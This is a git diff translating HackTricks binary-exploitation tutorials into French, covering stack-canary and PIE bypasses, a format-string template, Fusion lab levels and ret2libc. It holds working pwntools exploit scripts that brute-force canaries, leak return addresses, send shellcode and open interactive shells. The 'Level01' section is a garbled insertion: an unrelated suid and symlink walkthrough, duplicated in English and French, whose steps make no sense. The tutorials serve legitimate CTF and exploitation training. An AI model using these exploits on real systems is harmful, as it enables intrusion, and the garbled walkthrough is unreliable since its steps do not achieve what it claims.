**cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - - +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github diff --git a/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md b/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md index 2fb77a1e8..682f3f5a6 100644 --- a/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md +++ b/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md @@ -1,41 +1,38 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.** +**Si vous êtes confronté à un binaire protégé par un canari et PIE (Position Independent Executable), vous devez probablement trouver un moyen de les contourner.** ![](<../../.gitbook/assets/image (144).png>) {% hint style="info" %} -Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\ -However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting. +Notez que **`checksec`** pourrait ne pas trouver qu'un binaire est protégé par un canari s'il a été compilé de manière statique et qu'il n'est pas capable d'identifier la fonction.\ +Cependant, vous pouvez le remarquer manuellement si vous trouvez qu'une valeur est enregistrée dans la pile au début d'un appel de fonction et que cette valeur est vérifiée avant de sortir. {% endhint %} # Brute force Canary -The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**. +La meilleure façon de contourner un simple canari est si le binaire est un programme **qui crée des processus enfants à chaque fois que vous établissez une nouvelle connexion** avec lui (service réseau), car chaque fois que vous vous connectez à lui, **le même canari sera utilisé**. -Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**): +Ensuite, la meilleure façon de contourner le canari est simplement de le **forcer par caractère**, et vous pouvez savoir si le byte de canari deviné était correct en vérifiant si le programme a planté ou continue son flux régulier. Dans cet exemple, la fonction **force un canari de 8 octets (x64)** et distingue entre un byte correctement deviné et un byte incorrect simplement en **vérifiant** si une **réponse** est renvoyée par le serveur (une autre façon dans **d'autres situations** pourrait être d'utiliser un **try/except**): -## Example 1 - -This example is implemented for 64bits but could be easily implemented for 32 bits. +## Exemple 1 +Cet exemple est implémenté pour 64 bits mais pourrait être facilement implémenté pour 32 bits. ```python from pwn import * @@ -74,12 +71,10 @@ print("Brute-Forcing canary") base_canary = get_bf(base) #Get yunk data + canary CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary ``` +## Exemple 2 -## Example 2 - -This is implemented for 32 bits, but this could be easily changed to 64bits.\ -Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload. - +Ceci est implémenté pour 32 bits, mais cela pourrait être facilement modifié pour 64 bits.\ +Notez également que pour cet exemple, **le programme s'attend d'abord à un octet pour indiquer la taille de l'entrée** et la charge utile. ```python from pwn import * @@ -120,24 +115,22 @@ target = process('./feedme') canary = breakCanary() log.info(f"The canary is: {canary}") ``` +# Afficher le Canary -# Print Canary +Une autre façon de contourner le canary est de **l'afficher**.\ +Imaginez une situation où un **programme vulnérable** à un débordement de pile peut exécuter une fonction **puts** pointant vers une **partie** du **débordement de pile**. L'attaquant sait que le **premier octet du canary est un octet nul** (`\x00`) et que le reste du canary est composé d'octets **aléatoires**. Ensuite, l'attaquant peut créer un débordement qui **écrase la pile jusqu'au premier octet du canary**.\ +Ensuite, l'attaquant **appelle la fonctionnalité puts** sur le milieu de la charge utile qui **affichera tout le canary** (sauf le premier octet nul).\ +Avec ces informations, l'attaquant peut **créer et envoyer une nouvelle attaque** en connaissant le canary (dans la même session de programme) -Another way to bypass the canary is to **print it**.\ -Imagine a situation where a **program vulnerable** to stack overflow can execute a **puts** function **pointing** to **part** of the **stack overflow**. The attacker knows that the **first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random** bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**.\ -Then, the attacker **calls the puts functionalit**y on the middle of the payload which will **print all the canary** (except from the first null byte).\ -With this info the attacker can **craft and send a new attack** knowing the canary (in the same program session) - -Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**.\ -CTF example: [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html) +Évidemment, cette tactique est très **limitée** car l'attaquant doit être capable d'**afficher** le **contenu** de sa **charge utile** pour **extraire** le **canary** et ensuite être capable de créer une nouvelle charge utile (dans la **même session de programme**) et **envoyer** le **vrai débordement de tampon**.\ +Exemple de CTF : [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html) # PIE -In order to bypass the PIE you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\ -For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.** - -To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP: +Pour contourner le PIE, vous devez **fuir une adresse**. Et si le binaire ne fuit pas d'adresses, le mieux à faire est de **forcer le RBP et le RIP enregistrés dans la pile** dans la fonction vulnérable.\ +Par exemple, si un binaire est protégé à la fois par un **canary** et **PIE**, vous pouvez commencer à forcer le canary, puis les **8 octets suivants** (x64) seront le **RBP** enregistré et les **8 octets suivants** seront le **RIP** enregistré. +Pour forcer le RBP et le RIP à partir du binaire, vous pouvez déterminer qu'un octet deviné valide est correct si le programme produit quelque chose ou s'il ne plante pas. La **même fonction** que celle fournie pour forcer le canary peut être utilisée pour forcer le RBP et le RIP : ```python print("Brute-Forcing RBP") base_canary_rbp = get_bf(base_canary) @@ -146,43 +139,35 @@ print("Brute-Forcing RIP") base_canary_rbp_rip = get_bf(base_canary_rbp) RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) ``` +## Obtenir l'adresse de base -## Get base address - -The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**. - -From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP: +La dernière chose dont vous avez besoin pour vaincre le PIE est de calculer des adresses utiles à partir des adresses divulguées : le **RBP** et le **RIP**. +À partir du **RBP**, vous pouvez calculer **où vous écrivez votre shell dans la pile**. Cela peut être très utile pour savoir où vous allez écrire la chaîne _"/bin/sh\x00"_ à l'intérieur de la pile. Pour calculer la distance entre le RBP divulgué et votre shellcode, vous pouvez simplement mettre un **point d'arrêt après avoir divulgué le RBP** et vérifier **où se trouve votre shellcode**, puis vous pouvez calculer la distance entre le shellcode et le RBP : ```python INI_SHELLCODE = RBP - 1152 ``` - -From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.\ -To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses: +À partir du **RIP**, vous pouvez calculer l'**adresse de base du binaire PIE** dont vous aurez besoin pour créer une **chaîne ROP valide**.\ +Pour calculer l'adresse de base, il suffit de faire `objdump -d vunbinary` et de vérifier les dernières adresses de désassemblage : ![](<../../.gitbook/assets/image (145).png>) -In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked _0x562002970**ecf** _ the base address is _0x562002970**000**_ - +Dans cet exemple, vous pouvez voir qu'il ne faut que **1 byte et demi** pour localiser tout le code, puis l'adresse de base dans cette situation sera le **RIP divulgué mais se terminant par "000"**. Par exemple, si vous avez divulgué _0x562002970**ecf**_, l'adresse de base est _0x562002970**000**_. ```python elf.address = RIP - (RIP & 0xfff) ``` - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
- - diff --git a/exploiting/linux-exploiting-basic-esp/format-strings-template.md b/exploiting/linux-exploiting-basic-esp/format-strings-template.md index f1a8bc12e..41f5f93d7 100644 --- a/exploiting/linux-exploiting-basic-esp/format-strings-template.md +++ b/exploiting/linux-exploiting-basic-esp/format-strings-template.md @@ -1,22 +1,18 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
- - ```python from pwn import * from time import sleep @@ -155,23 +151,18 @@ format_string.execute_writes() P.interactive() ``` - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
- - diff --git a/exploiting/linux-exploiting-basic-esp/fusion.md b/exploiting/linux-exploiting-basic-esp/fusion.md index e019da1c3..7be850da9 100644 --- a/exploiting/linux-exploiting-basic-esp/fusion.md +++ b/exploiting/linux-exploiting-basic-esp/fusion.md @@ -1,18 +1,16 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
@@ -21,9 +19,8 @@ [http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/) -1. Get offset to modify EIP -2. Put shellcode address in EIP - +1. Obtenez le décalage pour modifier EIP +2. Mettez l'adresse du shellcode dans EIP ```python from pwn import * @@ -49,9 +46,50 @@ r.recvline() r.send(buf) r.interactive() ``` +# Niveau01 -# Level01 +### Context +### Contexte + +We have a binary with suid permissions owned by `flag01` user. This binary reads a file `/home/flag01/flag` and executes it as the user `flag01`. Our goal is to read the content of this file. + +Nous avons un binaire avec des permissions suid appartenant à l'utilisateur `flag01`. Ce binaire lit un fichier `/home/flag01/flag` et l'exécute en tant qu'utilisateur `flag01`. Notre objectif est de lire le contenu de ce fichier. + +### Solution + +### Solution + +Let's start by analyzing the binary with `ltrace`: + +Commençons par analyser le binaire avec `ltrace` : + +```bash +level01@nebula:/home/flag01$ ltrace ./flag01 +__libc_start_main(0x804853b, 1, 0xffffd784, 0x8048610 +access("/usr/bin/env", X_OK) = 0 +geteuid() = 1001 +getegid() = 1001 +setresgid(1001, 1001, 1001) = 0 +setresuid(1001, 1001, 1001) = 0 +access("/home/flag01/flag", R_OK) = 0 +system("/bin/cat /home/flag01/flag"flag01) = 0 ++++ exited (status 0) +++ +``` + +We can see that the binary is executing the command `/bin/cat /home/flag01/flag` as the user `flag01`. We can exploit this by creating a symbolic link from `/tmp/flag` to `/home/flag01/flag` and then executing the binary. + +Nous pouvons voir que le binaire exécute la commande `/bin/cat /home/flag01/flag` en tant qu'utilisateur `flag01`. Nous pouvons exploiter cela en créant un lien symbolique de `/tmp/flag` vers `/home/flag01/flag`, puis en exécutant le binaire. + +```bash +level01@nebula:/home/flag01$ ln -s /home/flag01/flag /tmp/flag +level01@nebula:/home/flag01$ ./flag01 +You have successfully executed getflag on a target account +``` + +Now we can read the content of the file `/home/flag01/flag` by executing `cat /tmp/flag`. + +Maintenant, nous pouvons lire le contenu du fichier `/home/flag01/flag` en exécutant `cat /tmp/flag`. ```python from pwn import * @@ -77,23 +115,18 @@ buf += "\x65\xd9\x0f\x01" r.send(buf) r.interactive() ``` - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
- - diff --git a/exploiting/linux-exploiting-basic-esp/ret2lib.md b/exploiting/linux-exploiting-basic-esp/ret2lib.md index 2683871da..8aa84a841 100644 --- a/exploiting/linux-exploiting-basic-esp/ret2lib.md +++ b/exploiting/linux-exploiting-basic-esp/ret2lib.md @@ -1,80 +1,74 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de cybersécurité? Voulez-vous voir votre entreprise annoncée dans HackTricks? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-**If you have found a vulnerable binary and you think that you can exploit it using Ret2Lib here you can find some basic steps that you can follow.** +**Si vous avez trouvé un binaire vulnérable et que vous pensez pouvoir l'exploiter en utilisant Ret2Lib, voici quelques étapes de base que vous pouvez suivre.** -# If you are **inside** the **host** - -## You can find the **address of lib**c +# Si vous êtes **à l'intérieur** de l'**hôte** +## Vous pouvez trouver l'**adresse de lib**c ```bash ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time) ``` - -If you want to check if the ASLR is changing the address of libc you can do: - +Si vous voulez vérifier si l'ASLR change l'adresse de libc, vous pouvez faire : ```bash for i in `seq 0 20`; do ldd | grep libc; done ``` +## Obtenir l'offset de la fonction system -## Get offset of system function +Pour exploiter une vulnérabilité de type `ret2libc`, nous avons besoin de connaître l'adresse de la fonction `system` dans la bibliothèque partagée `libc`. Pour cela, nous pouvons utiliser la commande `objdump` pour extraire les informations de la bibliothèque `libc` et rechercher l'adresse de la fonction `system`. +```bash +$ objdump -T /lib/x86_64-linux-gnu/libc.so.6 | grep system +000000000004f440 w DF .text 0000000000000039 GLIBC_2.2.5 system +``` + +Dans cet exemple, 